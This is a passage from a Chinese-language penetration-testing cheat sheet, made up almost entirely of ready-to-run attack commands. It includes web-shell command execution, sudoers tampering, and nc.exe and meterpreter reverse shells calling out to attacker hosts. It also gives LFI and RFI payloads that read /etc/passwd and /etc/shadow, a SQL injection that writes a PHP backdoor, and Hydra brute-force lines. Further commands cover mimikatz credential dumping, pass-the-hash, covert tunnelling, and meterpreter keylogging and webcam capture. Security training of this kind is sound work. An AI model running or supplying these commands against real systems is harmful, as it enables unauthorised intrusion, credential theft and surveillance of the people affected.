    `curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php`

    `curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php`

  - TFTP

    `mkdir /tftp`

    `atftpd --daemon --port 69 /tftp`

    `cp /usr/share/windows-binaries/nc.exe /tftp/`

    WINDOWS 系统

    `C:\Users\Offsec>tftp -i $ip get nc.exe`

  - FTP

    `apt-get update && apt-get install pure-ftpd`

    `#!/bin/bash`

    `groupadd ftpgroup`

    `useradd -g ftpgroup -d /dev/null -s /etc ftpuser`

```
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

- 打包文件

```
upx -9 nc.exe
exe2bat
locate exe2bat
wine exe2bat.exe nc.exe nc.txt
```

- Veil - Evasion - https://github.com/Veil-Framework/Veil-Evasion

```
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
```

提权

- 密码重用，维护破解密码列表，并在遇到的新机上测试密码
- Linux 提权
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

```
id
sudo su
```

- 可登录帐号

```
grep -vE "nologin|false" /etc/passwd
```

- 内核版本

```
uname -a
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
```

- 网络连接

```
netstat -tulpn
```

- root 运行的帐号

```
ps aux | grep root
```

- SUID / GUID:

```
find / -perm +2000 -user root -type f -print
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
```

```
for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done
```

```
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

- 可写文件夹

```
find / -writable -type d 2>/dev/null
```

```
find / -perm -222 -type d 2>/dev/null
```

```
find / -perm -o w -type d 2>/dev/null
```

```
find / -perm -o x -type d 2>/dev/null
```

```
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
```

- 自动枚举脚本
  - LinuxPrivChecker.py

    https://www.securitysift.com/download/linuxprivchecker.py

    https://github.com/rebootuser/LinEnum

    https://github.com/mzet-/linux-exploit-suggester

    https://highon.coffee/downloads/linux-local-enum.sh

    https://github.com/PenturaLabs/Linux_Exploit_Suggester

    https://github.com/reider-roque/linpostexp

- 常见内核提权漏洞

  CVE-2010-2959 - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

  https://www.exploit-db.com/exploits/14814/

- CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

  https://www.exploit-db.com/exploits/15285/

- CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

  https://git.zx2c4.com/CVE-2012-0056/about/

- Linux CVE 2012-0056

  http://www.exploit-db.com/download/18411

- CVE-2016-5195 - Dirty Cow - Linux Kernel <= 3.19.0-73.8

  https://dirtycow.ninja/

- CVE-2021-3493

  https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/

- CVE-2021-4034

  https://github.com/topics/cve-2021-4034

- DirtyPipe

  https://haxx.in/files/dirtypipez.c

- 添加帐号、修改密码

```
/usr/sbin/useradd -p 'openssl passwd -1 thepassword' pass1
```

```
echo <thepassword> | passwd haxzor --stdin
```

- 将 www-data 用户添加到 Root SUDO 组中（不要求密码）

```
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```

- SearchSploit

`searchsploit –uncsearchsploit apache 2.2`

`searchsploit "Linux Kernel"`

`searchsploit linux 2.6 | grep -i ubuntu | grep local`

`searchsploit slmail`

- 3.0.0 内核提权漏洞

  `./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`

- Windows 提权

  http://www.fuzzysecurity.com/tutorials/16.html

  https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

- 用户身份

  `whoami`

  `net user "%username%"`

- windows_privesc_check.py

Markdown

```
@echo --------- BASIC WINDOWS RECON ---------  > report.txt
timeout 1
net config Workstation  >> report.txt
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
timeout 1
hostname >> report.txt
timeout 1
net users >> report.txt
timeout 1
ipconfig /all >> report.txt
timeout 1
route print >> report.txt
timeout 1
arp -A >> report.txt
timeout 1
netstat -ano >> report.txt
timeout 1
netsh firewall show state >> report.txt
timeout 1
netsh firewall show config >> report.txt
timeout 1
schtasks /query /fo LIST /v >> report.txt
timeout 1
tasklist /SVC >> report.txt
timeout 1
net start >> report.txt
timeout 1
DRIVERQUERY >> report.txt
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
timeout 1
findstr /si password *.xml *.ini *.txt >> report.txt
timeout 1
reg query HKLM /f password /t REG_SZ /s >> report.txt
timeout 1
reg query HKCU /f password /t REG_SZ /s >> report.txt
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> report.txt
```

```
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo OK!
```

- Windows Server 2003 IIS 6.0 WEBDAV 漏洞利用 http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

  `msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt`

  `cadavar`

  `dav:/> put aspshell.txt`

  Uploading aspshell.txt to `/aspshell.txt':

  Progress: [============================>] 100.0% of 38468 bytes succeeded.

  `dav:/> copy aspshell.txt aspshell3.asp;.txt`

  Copying /aspshell3.txt' to /aspshell3.asp%3b.txt': succeeded.

  `dav:/> exit`

  `msf > use exploit/multi/handler`

  `msf exploit(handler) > set payload windows/meterpreter/reverse_tcp`

  `msf exploit(handler) > set LHOST 1.2.3.4`

  `msf exploit(handler) > set LPORT 80`

  `msf exploit(handler) > set ExitOnSession false`

  `msf exploit(handler) > exploit -j`

  `curl http://$ip/aspshell3.asp;.txt`

- Windows MS11-080 - http://www.exploit-db.com/exploits/18176/
- MS16-032 https://www.exploit-db.com/exploits/39719/

  `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"`

- Powershell 提权工具 https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
- 以其他帐号执行命令

  `C:>psexec64 \COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"`

  `C:>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"`

  `$username = '<username here>'`

  `$password = '<password here>'`

  `$securePassword = ConvertTo-SecureString $password -AsPlainText -Force`

  `$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword`

  `Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public`

  `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"`

- 检查配置错误的服务

  icacls scsiaccess.exe

  > scsiaccess.exe
  >
  > NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

Everyone:(I)(F)

- GPP
  - 查找域控 SYSVOL 共享

    `net use z:\dc01\SYSVOL`
  - 发现 GPP 文件: Groups.xml

    `dir /s Groups.xml`
  - 查看内容是否包含密码

    `type Groups.xml`
  - 使用 GPP-Decrypt 解密

    `gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB`

客户端、WEB、密码爆破

- MS12-037- Internet Explorer 8

  wget -O exploit.html http://www.exploit-db.com/download/24017
- Linux Client Shells

  http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
- Web 攻击
  - Web Shells

    http://tools.kali.org/maintaining-access/webshells

    `ls -l /usr/share/webshells/`
  - PHP 后门 (密码 s3cr3t)

    weevely generate s3cr3t

    weevely http://$ip/weevely.php s3cr3t
  - Iceweasel 插件

    Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
- 文件包含漏洞
  - fimap - *https://github.com/kurobeats/fimap*
    - 通过 phpinfo() 获得 shell

      fimap + phpinfo()
  - LFI - 使用 base64 编码解码

    `curl -s "http://$ip/?page=php://filter/convert.base64-encode/resource=index" | grep -e '\[^\\ \]\\{40,\\}' | base64 -d`
  - LFI -下载文件

    http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
  - LFI 常用测试文件

    /etc/issue

    /proc/version

    /etc/profile

/etc/passwd

/etc/passwd

/etc/shadow

/root/.bash_history

/var/log/dmessage

/var/mail/root

/var/spool/cron/crontabs/root

- Windows 文件

  %SYSTEMROOT%\repair\system

  %SYSTEMROOT%\repair\SAM

  %SYSTEMROOT%\repair\SAM

  %WINDIR%\win.ini

  %SYSTEMDRIVE%\boot.ini

  %WINDIR%\Panther\sysprep.inf

  %WINDIR%\system32\config\AppEvent.Evt

  - 下载密码文件

    http://$ip/index.php?page=/etc/passwd

    http://$ip/index.php?file=../../../../etc/passwd

    http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

  - PHP 低于 5.3 存在 %00 截断漏洞

    GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

  - 污染日志文件 `<?php echo shell_exec($_GET['cmd']);?>`

  - 远程文件包含

    `http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt`

    `<?php echo shell_exec("ipconfig");?>`

- Database 漏洞

  - 检测 SQL 注入漏洞

  - **MSSQL** 基于时间注入

    - *原始*

      `SELECT * FROM products WHERE name='Test';`

    - *注入*

      `'; WAITFOR DELAY '00:00:30'; --`

    - *结果*

      `SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --`

  - **MySQL** 基于时间注入

    - *原始*

      `SELECT * FROM products WHERE name='Test';`

    - *注入*

      `'-SLEEP(30); #`

        - *结果*

          ```
          SELECT * FROM products WHERE name='Test'-SLEEP(30); #
          ```

    - **PostGreSQL** 基于时间注入

        - *原始*

          ```
          SELECT * FROM products WHERE name='Test';
          ```

        - *注入*

          ```
          '; SELECT pg_sleep(30); --
          ```

        - *结果*

          ```
          SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --
          ```

- MySQL 查询库

  ```
  mysql -u root -p -h $ip
  ```

  ```
  use "Users"
  ```

  ```
  show tables;
  ```

  ```
  select * from users;
  ```

- 认证绕过

  ```
  name='wronguser' or 1=1;
  ```

  ```
  name='wronguser' or 1=1 LIMIT 1;
  ```

- 枚举数据库

  ```
  http://192.168.11.35/comment.php?id=738)'
  ```

  详细错误信息

  ```
  http://$ip/comment.php?id=738 order by 1
  ```

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
  ```

  检测 MySQL 版本:

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
  ```

  当前用户

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
  ```

  枚举数据库表、列结构

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
  ```

  查询表

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
  ```

  提取用户名密码

  ```
  http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
  ```

  创建后门

  ```
  http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
  ```

- **SQLMap** 举例

- 爬取链接

  ```
  sqlmap -u http://$ip --crawl=1
  ```

  ```
  sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
  ```

- SQLMap Search for databases against a suspected GET SQL Injection

```
sqlmap –u http://$ip/blog/index.php?search –dbs
```

- SQLMap dump tables from database oscommerce at GET SQL injection

```
sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps
```

- SQLMap GET 参数

```
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5
```

- SQLMap Post 参数

```
sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --dump-all
```

- OS Shell

```
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell
```

```
sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --os-shell
```

- 自动 sqlmap 扫描

```
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-
read="/var/www/blah.php"
```

```
sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump
```

- 联合 + 报错注入

```
sqlmap -o -u http://$ip/index.php --forms --dbs
```

```
sqlmap -o -u "http://$ip/form/" --forms
```

- 表单注入

```
sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump
```

- 枚举数据库

```
sqlmap --dbms=mysql -u "$URL" --dbs
```

- 枚举表

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
```

- 获取数据

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
```

- 指定参数

```
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2
```

```
sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs
```

- OS shell

```
sqlmap --dbms=mysql -u "$URL" --os-shell
```

- SQL shell

```
sqlmap --dbms=mysql -u "$URL" --sql-shell
```

- SQL 查询

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
```

- 使用 Tor Socks5 代理

```
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
```

- **NoSQLMap**

NoSQL 注入 MongoDB（`/cgi-bin/mongo/2.2.3/dbparse.py`）

- 安装

  `git clone` `https://github.com/codingo/NoSQLMap.git`

  `cd NoSQLMap/`

  `ls`

  `pip install couchdb`

  `pip install pbkdf2`

  `pip install ipcalc`

  `python` `nosqlmap.py`

- 使用变形 NoSQL 查询触发报错

  `a'; return this.a != 'BadData’'; var dummy='!`

- 密码攻击

  - AES 解密

    http://aesencryption.net/

- 将多个网页转换成一个单词列表

  `for x in 'index' 'about' 'post' 'contact' ; do curl http://` *`ip/`* `x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done`

- 将 html 转换为单词列表字典

  `html2dic index.html.out | sort -u > index-html.dict`

- 默认用户名密码

  - CIRT

    http://www.cirt.net/passwords

    - 默认帐号和密码
    - *http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php*
    - Virus.org

      http://www.virus.org/default-password/

    - 默认密码

      http://www.defaultpassword.com/

- 爆破

  - Nmap 爆破脚本

    https://nmap.org/nsedoc/categories/brute.html

    - `nmap --script brute -Pn <target.com or ip>`
    - MySQL 爆破 `nmap --script=mysql-brute $ip`

- 字典文件

  `cd /usr/share/wordlists`

- 生成密码字典

  - `crunch 6 6 0123456789ABCDEF -o crunch1.txt`
  - `crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha`
  - `crunch 8 8 -t ,@@^^%%%`

- Pwdump、Fgdump

    - `pwdump.exe`
    - `fgdump.exe`
- WCE

  `wce -w`
- Mimikatz

  `meterpreter> load mimikatz`

  `meterpreter> help mimikatz`

  `meterpreter> msv`

  `meterpreter> kerberos`

  `meterpreter> mimikatz_command -f samdump::hashes`

  `meterpreter> mimikatz_command -f sekurlsa::searchPasswords`
- Cewl 生成密码字典

  `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt`
- John 密码变形

  `nano /etc/john/john.conf`

  `john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt`
- Medusa 爆破 htaccess 保护的 web 目录

  `medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10`
- Ncrack 爆破 RDP

  `ncrack -vv --user offsec -P password-file.txt rdp://$ip`
- Hydra
    - Hydra 爆破 SNMP 密码

      `hydra -P password-file.txt -v $ip snmp`
    - Hydra 爆破 FTP 密码（已知帐号）

      `hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp`
    - Hydra 爆破 SSH（已知帐号）

      `hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh`

      `hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt`
    - Hydra 爆破 SSH（已知密码）

      `hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh`
    - Hydra 爆破 POP3

      `hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V`
    - Hydra 爆破 SMTP

      `hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V`
    - Hydra 爆破 401 登录

      `hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin`
    - Hydra 爆破 RDP

      `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip`
    - Hydra 爆破 SMB 用户

```
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb
```

- Hydra 爆破 Wordpress 后台

```
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
```

- Password 哈系破解
  - 在线密码破解

    https://crackstation.net/ *http://finder.insidepro.com/*

  - Hashcat 需要安装新的驱动程序，让我的 GPU 破解在 Kali linux VM 上工作，并使用 `--force` 参数

    ```
    apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev
    ```

    ```
    apt-get install pocl-opencl-icd
    ```

  - 创建 HASH 文件: `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/`

    ```
    hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt
    ```

  - Wordpress hash: `$P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/`

    ```
    hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt
    ```

  - 识别哈系

    http://openwall.info/wiki/john/sample-hashes

    ```
    hash-identifier
    ```

  - 破解 Linux 哈系

    ```
    unshadow passwd-file.txt shadow-file.txt
    ```

    ```
    unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
    ```

- HASH 破解
  - `john $ip.pwdump`
  - `john --wordlist=/usr/share/wordlists/rockyou.txt hashes`
  - `john --rules --wordlist=/usr/share/wordlists/rockyou.txt`
  - `john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt`
  - `john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt`
  - JTR 暴力破解

    ```
    john --format=descrypt hash --show
    ```

- PtH

  ```
  export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
  ```

  ```
  pth-winexe -U administrator //$ip cmd
  ```

跳板与隧道

- 端口转发
  - `apt-get install rinetd`
  - `cat /etc/rinetd.conf`

    bindadress bindport connectaddress connectport

    `w.x.y.z 53 a.b.c.d 80`

- SSH 本地端口转发: 支持双向通信通道
  - `ssh <gateway> -L <local port to listen>:<remote host>:<remote port>`

- SSH 远程端口转发: 适合在内部不可路由的环境弹出远程 shell
  - `ssh <gateway> -R <remote port to bind>:<local host>:<local port>`
- SSH 动态端口转发: 创建 SOCKS4 代理，将所有传入的流量通过隧道传入内网任意主机
  - `ssh -D <local proxy port> -p <remote port> <target>`
- Proxychains - 代理工具
  - 从弹出的机器上创建反向 SSH 隧道 :2222

    `ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com` `ssh -f -N -R 2222:<local host>:22 root@<remote host>`
  - 在 8080 到 2222 上创建一个动态应用程序级端口转发

    `ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>`
  - 利用 SSH SOCKS 服务器使用代理链对内网执行 Nmap 扫描

    `proxychains nmap --top-ports=20 -sT -Pn $ip/24`
- HTTP 隧道

  `nc -vvn $ip 8888`
- 流量封装 - 绕过深度包检测
  - http tunnel 服务端

    `sudo hts -F <server ip addr>:<port of your app> 80` On client side:

    `sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel`
- 端口转发到内网 RDP 服务

  `plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>`

  `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80`

  `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000`
- Windows 添加防火墙规则

  `netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes`

  `netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000`

  `netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080`

  `netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079`
- HTTP 隧道客户端

  `httptunnel_client.exe`
- VLAN 跳跃
  - `git clone` `https://github.com/nccgroup/vlan-hopping.git`

    `chmod 700` `frogger.sh`

    `./frogger.sh`
- VPN 攻击
  - 识别 VPN 服务器

    `./udp-protocol-scanner.pl -p ike $ip`
  - 扫描地址范围内的 VPN 服务器

    `./udp-protocol-scanner.pl -p ike -f ip.txt`
  - 使用 IKEForce 枚举或者字典攻击 VPN 服务器

    `pip install pyip`

`git clone https://github.com/SpiderLabs/ikeforce.git`

IKE VPN 枚举

`./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic`

爆破 IKE VPN

`./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1` Use ike-scan to capture the PSK hash:

ike-scan

ike-scan TARGET-IP

ike-scan -A TARGET-IP

ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

pskcrack

psk-crack -b 5 TARGET-IPkey

psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key

psk-crack -d /path/to/dictionary-file TARGET-IP-key

- PPTP 攻击
  - 默认端口 TCP: 1723

    `nmap –Pn -sV -p 1723 TARGET(S)` PPTP Dictionary Attack

    `thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst`
- 端口转发重定向

  `plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>`
- DNS 隧道
  - dnscat2 支持 “download” 、 “upload” 命令.
  - 安装:

    `apt-get update`

    `apt-get -y install ruby-dev git make g++`

    `gem install bundler`

    `git clone https://github.com/iagox86/dnscat2.git`

    `cd dnscat2/server`

    `bundle install`
- 运行 dnscat2:

  `ruby ./dnscat2.rb`

  `dnscat2> New session established: 1422`

  `dnscat2> session -i 1422`
- 目标主机:

  https://downloads.skullsecurity.org/dnscat2/

  https://github.com/lukebaggett/dnscat2-powershell/

  `dnscat --host <dnscat server ip>`

MSF

- Metasploit
  - 启动数据库服务

    `systemctl start postgresql`
  - 自动启动数据库

    `systemctl enable postgresql`
- MSF 语法
  - 启动 MSF

    `msfconsole`

    `msfconsole -q`
  - 帮助

    `show -h`
  - Auxiliary 模块

    `show auxiliary`
- Show the basic information for a module

  `info`
- 使用模块

  `use auxiliary/scanner/snmp/snmp_enum`

  `use auxiliary/scanner/http/webdav_scanner`

  `use auxiliary/scanner/smb/smb_version`

  `use auxiliary/scanner/ftp/ftp_login`

  `use exploit/windows/pop3/seattlelab_pass`
- 查看模块参数

  `show options`
- 设置模块

  `set RHOSTS 192.168.1.1-254`

  `set THREADS 10`
  - 执行模块

    `run`

    `exploit`
  - 搜索模块

    `search type:auxiliary login`
- 查看数据
  - 显示主机

    `hosts`
  - 集成 nmap

    `db_nmap`
  - 按端口搜索数据库

    `services -p 443`

- Staged、Non-staged
  - Non-staged payload - 部分阶段的整体 payload
  - Staged - 分阶段的 payload，用户缓冲区大小有限或规避 AV
- Meterpreter
  - 查看系统信息

    `sysinfo`
  - 查看帐号 ID

    `getuid`
  - 搜索文件

    `search -f *pass*.txt`
  - 上传文件

    `upload /usr/share/windows-binaries/nc.exe c:\Users\Offsec`
  - 下载文件

    `download c:\Windows\system32\calc.exe /tmp/calc.exe`
  - 系统 shell

    `shell`
  - 退出

    `exit`
- 开启侦听

  `use exploit/multi/handler`

  `set PAYLOAD windows/meterpreter/reverse_https`

  `set LHOST $ip`

  `set LPORT 443`

  `exploit`
- 创建自己的模块
  - `mkdir -p ~/.msf4/modules/exploits/linux/misc`

    `cd ~/.msf4/modules/exploits/linux/misc`

    `cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb`

    `nano crossfire.rb`
- 后渗透测试阶段
  - `download` 下载文件或目录

    `upload` 上传文件或目录

    `portfwd` 端口转发

    `route` 查看和修改路由表

    `keyscan_start` 开启键盘记录

    `keyscan_stop` 停止键盘记录

    `screenshot` 桌面快照

    `record_mic` 录音

    `webcam_snap` 摄像头快照

> `getsystem` 提权到 system
>
> `hashdump` 转储 SAM 数据库

- 离开 Meterpreter（不断开会话）

  `background`